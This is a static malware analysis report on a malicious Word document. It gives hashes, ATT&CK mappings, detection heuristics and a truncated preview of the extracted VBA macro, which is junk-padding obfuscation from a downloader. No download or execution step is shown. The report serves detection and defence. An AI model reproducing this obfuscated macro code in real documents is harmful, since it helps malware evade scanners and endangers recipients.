Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1e85456d7f1576c1…

MALICIOUS

Office (OLE)

86.5 KB Created: 2017-08-28 18:31:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 02ce818d6d5c93552e9d6015b0d9b11d SHA-1: 55183dcd20145c276d78ea88c954e26ddefc44f8 SHA-256: 1e85456d7f1576c117b41c909376899435a03af4ba1777e5a64a676dc4dbc7d6
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and uses CreateObject, a common technique for executing arbitrary code. ClamAV identifies this as a VBSDownloader, suggesting the macro's purpose is to download and execute a secondary payload. No specific family could be identified, but the behavior is consistent with macro-based malware.

Heuristics 7

  • ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11458 bytes
SHA-256: 493627d5bb96b264de44e0b71334afef282bfacfb920136c126bb351f78869e2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function YyZXNSWW()
mvmkmcrXG = 2580
Dim WLneuCcWTb(2580)
WLneuCcWTb(1141) = WAYLRBfW
 WLneuCcWTb(1308) = rPSAtLfF
 WLneuCcWTb(1724) = VHhfxRhS
 WLneuCcWTb(1372) = fWVVwagfn
 WLneuCcWTb(1837) = rnzMzpKcZa
 WLneuCcWTb(1383) = fKXzcWU
 ensUCNzcS = "FfMvmwLnME"
 nNPuMCvarUs = "XpzLNBWa"
 UAePapVDmf = "SkMDfPacp"
 dtRtVXTv = "XvRuWTmVu"
 PayckKTHYpE = "TGcTacwxcFa"
 WENVNALy = "nmbtUNT"
 UEkMFBdxcE = "aYpEFNNTuT"
 XByaLdggu = "VHBTaRAbWmh"
 pyBeWzZRp = "fhNDtHb"
 GKaPYuEX = "DcrNDMm"
 WuYmpYWYV = "LteTUFgT"
 sTYxXGhDW = "rstgFvWe"
 veKmACGRPt = "UymkVNXF"
 APLVyzE = "ABycpHCnpn"
 EwyFMUU = "ynsEFDLWwNs"
 DRFDZpxZ = "GssunKv"
 RCFbaEE = "avzMCrkThn"
 NSEsaTXP = "LPDwLeS"
 End Function
Function PsmGkeWTG()
vTKysDXMKMK = 1454
Dim EuGRzPaE(1454)
EuGRzPaE(249) = rKUSExNwmGc
 EuGRzPaE(169) = TMPgZmG
 EuGRzPaE(368) = CTLKrxYeKCC
 EuGRzPaE(377) = mMsxmRF
 EuGRzPaE(1128) = paBTeDVtG
 EuGRzPaE(1173) = AWLhYgkM
 EuGRzPaE(257) = sEnRtnra
 EuGRzPaE(1211) = nVmHnZLn
 EuGRzPaE(865) = tYUvUMCu
 KkbDCHfg = "AHcUzLsC"
 AxXeptR = "FFbHNLhbeUz"
 kxTDRet = "KamvBLaXX"
 zhDBFKEe = "bafMnYUHM"
 zUGvTMVk = "wxtwgms"
 GLzWZhLHmt = "txFMZny"
 End Function
Function UFDSXgbG()
DwZDrbHgMB = 9043
Dim MCmBCVMBWFt(9043)
MCmBCVMBWFt(2014) = rspRFKEcDE
 MCmBCVMBWFt(2045) = kDLNPnU
 MCmBCVMBWFt(2513) = vhvTPLfC
 MCmBCVMBWFt(7044) = VSHBdCYa
 MCmBCVMBWFt(4323) = cszHaweMAg
 MCmBCVMBWFt(295) = dsrMdVTbb
 MCmBCVMBWFt(4492) = kPxXLdkfF
 MCmBCVMBWFt(4495) = PswLFVBRk
 MCmBCVMBWFt(8765) = MwEuvMbbreu
 WDtXAvCMLh = "ZcVtSVvD"
 bHMhkrruH = "wkxcfxGh"
 wYcTHZDKFN = "SWFyFsMBbz"
 LmhutsBSfa = "bHvWaLMm"
 zxxmbhyWBKc = "ekrgRGLWck"
 AbGeKGBsy = "WNBAknHc"
 EWPYmUCAxK = "nkuhCfWyTsZ"
 abcEMEuGtt = "rhwMtPCpR"
 HaYAExS = "NUZaxvNNp"
 PXHxbcUYwrY = "XvDbNnaNZVp"
 BSavtbb = "ddGmCBZeuea"
 NFksZTWym = "pasFYkwmGu"
 vYZSRYBS = "NVeHWxWM"
 FZwMHzEUxDV = "TpnsZRVNsp"
 GFeZYLDY = "wTXLCAMzutT"
 ekRzLByhcu = "kGkLNAh"
 LUHaVBBrrKf = "TXVYScaPR"
 pspnLeh = "UmDauVt"
 NEFLRGNz = "ScavNrTX"
 vRBHwVgpX = "KukUpfrGct"
 xzTLpBhsPg = "suNAuGKEz"
 uvyBrKwwXd = "kywrBHM"
 AbCekde = "znpWnWu"
 LAHvhKp = "FskkTyBm"
 End Function
Function CPeYTxkYr()
yTDXCECe = 320
Dim LBTVLpzEL(320)
LBTVLpzEL(311) = yYUArfxx
 LBTVLpzEL(148) = XWeNsWTVN
 LBTVLpzEL(108) = CanNWhkM
 LBTVLpzEL(105) = vHhfEgxfPF
 LBTVLpzEL(166) = RNMRfUHBzfx
 LBTVLpzEL(255) = umNYVRv
 LBTVLpzEL(299) = hPAKYEFA
 LBTVLpzEL(105) = sEsMvNhcGw
 LBTVLpzEL(293) = BuzWLygDkE
 LBTVLpzEL(303) = sTvbafh
 vnzbksXpk = "vrwusTmtagN"
 ePCNUaPbGVp = "xPDFaevfU"
 YLxWaMTx = "TGUSUyUvztS"
 VNWZuCaD = "HBruHMYf"
 RDgterWAL = "dKSGWkpkbv"
 DDTrYtWzzG = "xhEbCPD"
 wDyHMsezCd = "ZpbMYNwAhr"
 HamMfYA = "MnfnLfEBe"
 zZdpGckh = "mAnPctrMR"
 kTsndRVbBEu = "skdcZrGHy"
 XrrhthNk = "XXYfDVN"
 WHkxzBaNpXL = "DgweApPk"
 uSwYXrM = "cpsnMhFuP"
 CvnkXDZbX = "MdwUCWGuAM"
 XFRNFtnfEEh = "wpZWvfZNVTf"
 xNLfmHzz = "xPycvdvPDsp"
 ZSSKKtZa = "HfUmDaNrB"
 WAmKSXnM = "GAdUEdxktET"
 sdxUWUNU = "DXZnLWCkLba"
 mTptMedkDdb = "ZyxZXeUAE"
 BnCWzvheyh = "hkHgsHDEGam"
 sGKbSfx = "bwkdwWNsy"
 fnCBybFru = "pbaMgavVLt"
 ztHLKPYGF = "sLCKtkRMYc"
 zBuXfczZ = "ZmFAedRVpY"
 FxGbBVBxVT = "PnmnpnTRtbV"
 dRWBcdXE = "NEnrGev"
 End Function
Function yZWFtVMPVhF()
UYGTvucpx = 4293
Dim mdYKBBszM(4293)
mdYKBBszM(2154) = XwcDBeWmWxT
 mdYKBBszM(4238) = KWttKfBwzk
 mdYKBBszM(2032) = zCgcPvLSpRa
 mdYKBBszM(1087) = CtZnXpZbU
 mdYKBBszM(953) = WhAKKtV
 mdYKBBszM(198) = FdSetNEC
 mdYKBBszM(885) = xrKsEBDyae
 mdYKBBszM(2830) = LZFUfXBaaN
 mdYKBBszM(3853) = rmrrguK
 mdYKBBszM(55) = aTUzdVUast
 mdYKBBszM(1072) = ScPgDRrKDKc
 mdYKBBszM(344) = yaGwLtFYPXr
 mdYKBBszM(1720) = yVShadwZdu
 mdYKBBszM(723) = pSSYXVg
 mdYKBBszM(1513) = yxMzLEssN
 mdYKBBszM(3
... (truncated)

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